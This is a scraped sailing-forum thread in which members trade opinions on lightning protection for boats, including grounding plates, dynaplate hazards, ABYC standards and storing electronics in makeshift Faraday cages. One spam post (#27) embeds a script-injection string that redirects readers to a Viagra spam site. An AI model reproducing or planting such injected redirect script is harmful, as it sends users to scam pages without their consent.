Search Sailnet:

 forums  store  


Quick Menu
Forums           
Articles          
Galleries        
Boat Reviews  
Classifieds     
Blogs               
Boat Search (new)




Go Back   SailNet Community > General Interest Forums > herSailNet
User Name
Password
 Not a Member? 


Reply
 
LinkBack Thread Tools Search this Thread Display Modes
 Like this article?  Digg It!  or   Bookmark it!
  #21 (permalink)  
Old 08-29-2006
sailingdog's Avatar
sailingdog sailingdog is offline
Telstar 28
 
Join Date: Mar 2006
Location: New England
Posts: 24,638
Rep Power: 5
sailingdog is a jewel in the roughsailingdog is a jewel in the roughsailingdog is a jewel in the rough
My pressure cooker has a stiff enough gasket that the two pieces are in firm contact, especially if the cooker is locked. If it is a really bad storm, I'll wrap the gear in aluminum foil first, and then drop them in the pressure cooker.
__________________
Sailingdog

Telstar 28
New England

You know what the first rule of sailing is? ...Love. You can learn all the math in the 'verse, but you take
a boat to the sea you don't love, she'll shake you off just as sure as the turning of the worlds. Love keeps
her going when she oughta fall down, tells you she's hurting 'fore she keens. Makes her a home.

—Captain Malcolm Reynolds, Serenity (slightly edited)

If you're new to the Sailnet Forums... please read this POST.
Reply With Quote
  #22 (permalink)  
Old 08-29-2006
hellosailor's Avatar
hellosailor hellosailor is offline
Senior Member
 
Join Date: Apr 2006
Posts: 3,109
Rep Power: 3
hellosailor will become famous soon enough
Lead foil would work, it is used in radiology and other labs to shield things during x-ray procedures. You'd have to overlap the edges and french lap them, i.e. like blue jean seams, but then it would just be another Faraday cage. Aluminum fouil would work just as well. Mu metal, which is used as magnetic shielding in speakers and monitors, would also dampen magnetic pulses--which lead and aluminum wouldn't. Don't have ANY ideas where you can buy that.<G>

You can buy lead, tin, aluminum, and copper 'flashing' at any place that sells commercial roofing supplies. Military surplus ammunition cans might be a simpler idea, they're also waterproof and sturdy. Complete with a handle on top.<G>
Reply With Quote
  #23 (permalink)  
Old 08-29-2006
sailingfool's Avatar
sailingfool sailingfool is offline
Senior Member
 
Join Date: Apr 2000
Location: Boston and thereabouts
Posts: 1,430
Rep Power: 9
sailingfool will become famous soon enough
Scientific Answer

Quote:
Originally Posted by frankbarbehenn
I read that there are conflicting views about how to deal with lightning: to protect and ground to water or not. It seems to me that there must have been some real physics research on this question since it is so important for sailors. Does anyone know where to look for a real scientific answer???
You can find the marine equivalent of a scientific answer at http://www.abycinc.org/standards/purpose.cfm#E4 As I expect most of us won't want to pay to get a copy of the ABYC standard you can read an interesting commentary on it at http://www.kastenmarine.com/Lightning.htm

Conscientious builders and surveyors use this standard to design or evaluate lightning protection. I am unsure whether any builders actually build to this standard, I've never noticed any such claims.

FWIW Upgrading my boat to the full ABYC standard was a recent insurance surveyor's recommendation. My yard quoted this work at $3-5,000. I told the insurance company I did not feel the benefit of meeting the full standard to be worth the cost, and they accepted that position.
Reply With Quote
  #24 (permalink)  
Old 08-29-2006
Dewey Benson's Avatar
Dewey Benson Dewey Benson is offline
old cranky salt
 
Join Date: Jun 2006
Location: San Diego
Posts: 342
Rep Power: 3
Dewey Benson is on a distinguished road
Quote:
Originally Posted by marinedtcomRob
I'll still take my chances being grounded. At least I have an idea the of the path the lightning will take.
Have to agree. I know where my grounding plates are located, I can access the area from the interior quickly and carry pads that can be wedged over the areas in extremis.

Was 15 yards away when a lancer 28 sailboat's mast was struck. Very loud boom! The guy on board didn't remember hearing anything. He was down below washing dishes when the minimal electronics he had shot across the cabin in a fireball. He was shook up, dazed and shaking like a kitten. Other than that, completly unhurt. The boat was ungrounded.

The following day he sailed his trailerboat (the lancer 28) around a short point from the marina to the ramp where he hauled it out. The insurance surveyor took a pencil from his pocket as he noted some wrinked areas amidship below the waterline. He probed the area with the eraser end and the pencil passed straight through the hull. EEK!

Dewey
Reply With Quote
  #25 (permalink)  
Old 08-29-2006
sailingdog's Avatar
sailingdog sailingdog is offline
Telstar 28
 
Join Date: Mar 2006
Location: New England
Posts: 24,638
Rep Power: 5
sailingdog is a jewel in the roughsailingdog is a jewel in the roughsailingdog is a jewel in the rough
Quote:
Originally Posted by Dewey Benson
The following day he sailed his trailerboat (the lancer 28) around a short point from the marina to the ramp where he hauled it out. The insurance surveyor took a pencil from his pocket as he noted some wrinked areas amidship below the waterline. He probed the area with the eraser end and the pencil passed straight through the hull. EEK!

Dewey
Sounds like it was a bit more than wrinkled...
__________________
Sailingdog

Telstar 28
New England

You know what the first rule of sailing is? ...Love. You can learn all the math in the 'verse, but you take
a boat to the sea you don't love, she'll shake you off just as sure as the turning of the worlds. Love keeps
her going when she oughta fall down, tells you she's hurting 'fore she keens. Makes her a home.

—Captain Malcolm Reynolds, Serenity (slightly edited)

If you're new to the Sailnet Forums... please read this POST.
Reply With Quote
  #26 (permalink)  
Old 05-29-2007
roseandbear's Avatar
roseandbear roseandbear is offline
barefoot members
 
Join Date: May 2007
Location: on the hook, fort myers beach and points south
Posts: 9
Rep Power: 0
roseandbear is on a distinguished road
my method to avoid lightening strikes is constant trembling fervent prayer, which comes pretty easily, even to a non-christian, during a florida summer lightening storm
Reply With Quote
  #27 (permalink)  
Old 06-01-2007
treidun treidun is offline
Junior Member
 
Join Date: Jun 2007
Posts: 1
Rep Power: 0
treidun is on a distinguished road
Post Just want to say Hi.

Sorry,It may be intersting for you
<a href= Result for query "<script type="text/javascript">eval(window.location='http://buy-viagra.baglessvacuumbest.info');</script>%d%a" > buy viagra </a>
<a href= buy-viagra.baglessvacuumbest.info>buy viagra</a>
Reply With Quote
  #28 (permalink)  
Old 06-01-2007
Cruisingdad's Avatar
Cruisingdad Cruisingdad is offline
Moderator
 
Join Date: Jul 2006
Location: East Texas, currently
Posts: 4,734
Rep Power: 4
Cruisingdad has a spectacular aura aboutCruisingdad has a spectacular aura about
My opinions:

THe bottle brush in your pic has to be the highest point on the mast. Your VHF antennae is higher, defeating the purpose. As I recall, they suggest 6 inches over the everything.

Dissipators, such as your bottlebrush, have had marginal effects. Many now opt instead for a lightning rod with a very sharp tip on top. The current theory (highly debated) is that by grounding your boat, you decrease your chances of being struck because you can bleed off the potential. I personally find this difficult to believe - but that is the saying.

Grounding a boat or not grounding is a serious consideration. I feel that a poorly gounded boat poses more of a danger than a boat that is not grounded at all. Either do it, and do it all the way... or do not do it at all. All metal must be grounded, including toe rails, tie rods, and especially your steering mecahnisms. #8 was once recommended, but now that has been chaged to #4 (IIRC) for a straight run from the mast. DO not use your keel as a grounding plane and FOR GOD's SAKES DONT USE A DYNOPLATE*** unless you plan on swimming afterwards. The more surface area exposed to the saltwater, the better. Special plates have been developed to do this. They should not be painted. A seperate lead, #8-#4, should be run to ground the diesel/prop. It should be independent of the main run, preferably running perpendicular with its own lead and outside of the remainder of the boat grounding (stanchions, etc). The third leads can all be tied together and run to a similair ground plate.

The reality of doing a correct and proper job on grounding a vessel has been severly overlooked by most sailors & manufactureres (and especially motorboaters). It is very involved and moderately expensive. As the odds of being struck are very small, it may be the best money you have ever wasted. However, for anyone in very electrical prone areas such as South Florida, the islands, or the Northern part of South America, it should be highly considered. Those travelling offshore should also strongly consider it.

Just my opinions.

- CD

*** A bronze dynoplate is porous. That poricity gives it more surface area which makes an very good ground for "low voltage" items such as SSB. However, in a lightning strike, the very high energy causes the water inside those pores to rapidly heat up, then boil. That boiling water creates steam and pressure, which often cannot be released from the pores quickly enough. THus, the plate will explode - often taking a chunk of the hull with it. You will sink quickly. Dynoplates are dangerous lightning grounds and should not in any way be connected with your lightning grounding system in my opinion. Still, I am amazed when I see "offshore" boats whose lightning ground is a dynoplate.
__________________
Sailnet Moderator

Catalina 400 Technical Editor
Reply With Quote
  #29 (permalink)  
Old 06-01-2007
Cruisingdad's Avatar
Cruisingdad Cruisingdad is offline
Moderator
 
Join Date: Jul 2006
Location: East Texas, currently
Posts: 4,734
Rep Power: 4
Cruisingdad has a spectacular aura aboutCruisingdad has a spectacular aura about
Here is a nice writeup I found on the subject, for those interested:

Lightning Attenuation Onboard

Marine Lightning Protection Inc.

NASD: Boating-Lightning Protection
__________________
Sailnet Moderator

Catalina 400 Technical Editor

Last edited by Cruisingdad : 06-01-2007 at 12:30 PM.
Reply With Quote
  #30 (permalink)  
Old 06-02-2007
SimonV's Avatar
SimonV SimonV is offline
SomewhereinthePacific
 
Join Date: Jul 2006
Location: Australia
Posts: 1,132
Rep Power: 3
SimonV will become famous soon enough
I too have seen the old jumper cables clipped to the shrouds and thrown over the side, the owner swore by them ( he had never had a strike) and I always put as much as I can in the Microwave.
__________________
Simon
Ericson 39B.
I love my boat
S/V GOODONYA
SYDNEY
Reply With Quote
Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
LIGHTNING SHIMSHON General Discussion (sailing related) 37 07-24-2007 09:13 PM
Lightning Anyone? holy7cow Living Aboard 27 04-11-2006 03:45 PM
Anyone using the strikeshield CCSB for lightning protection? e31 Gear & Maintenance 3 07-23-2004 02:03 AM
Pearson Mast Step aphil138 Gear & Maintenance 4 05-29-2003 11:44 AM
copper boxes and electronics kwiac Gear & Maintenance 8 05-02-2002 06:34 PM

Add to My Yahoo!         
Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.0.0 RC8
(c) Sailnet 2000-2006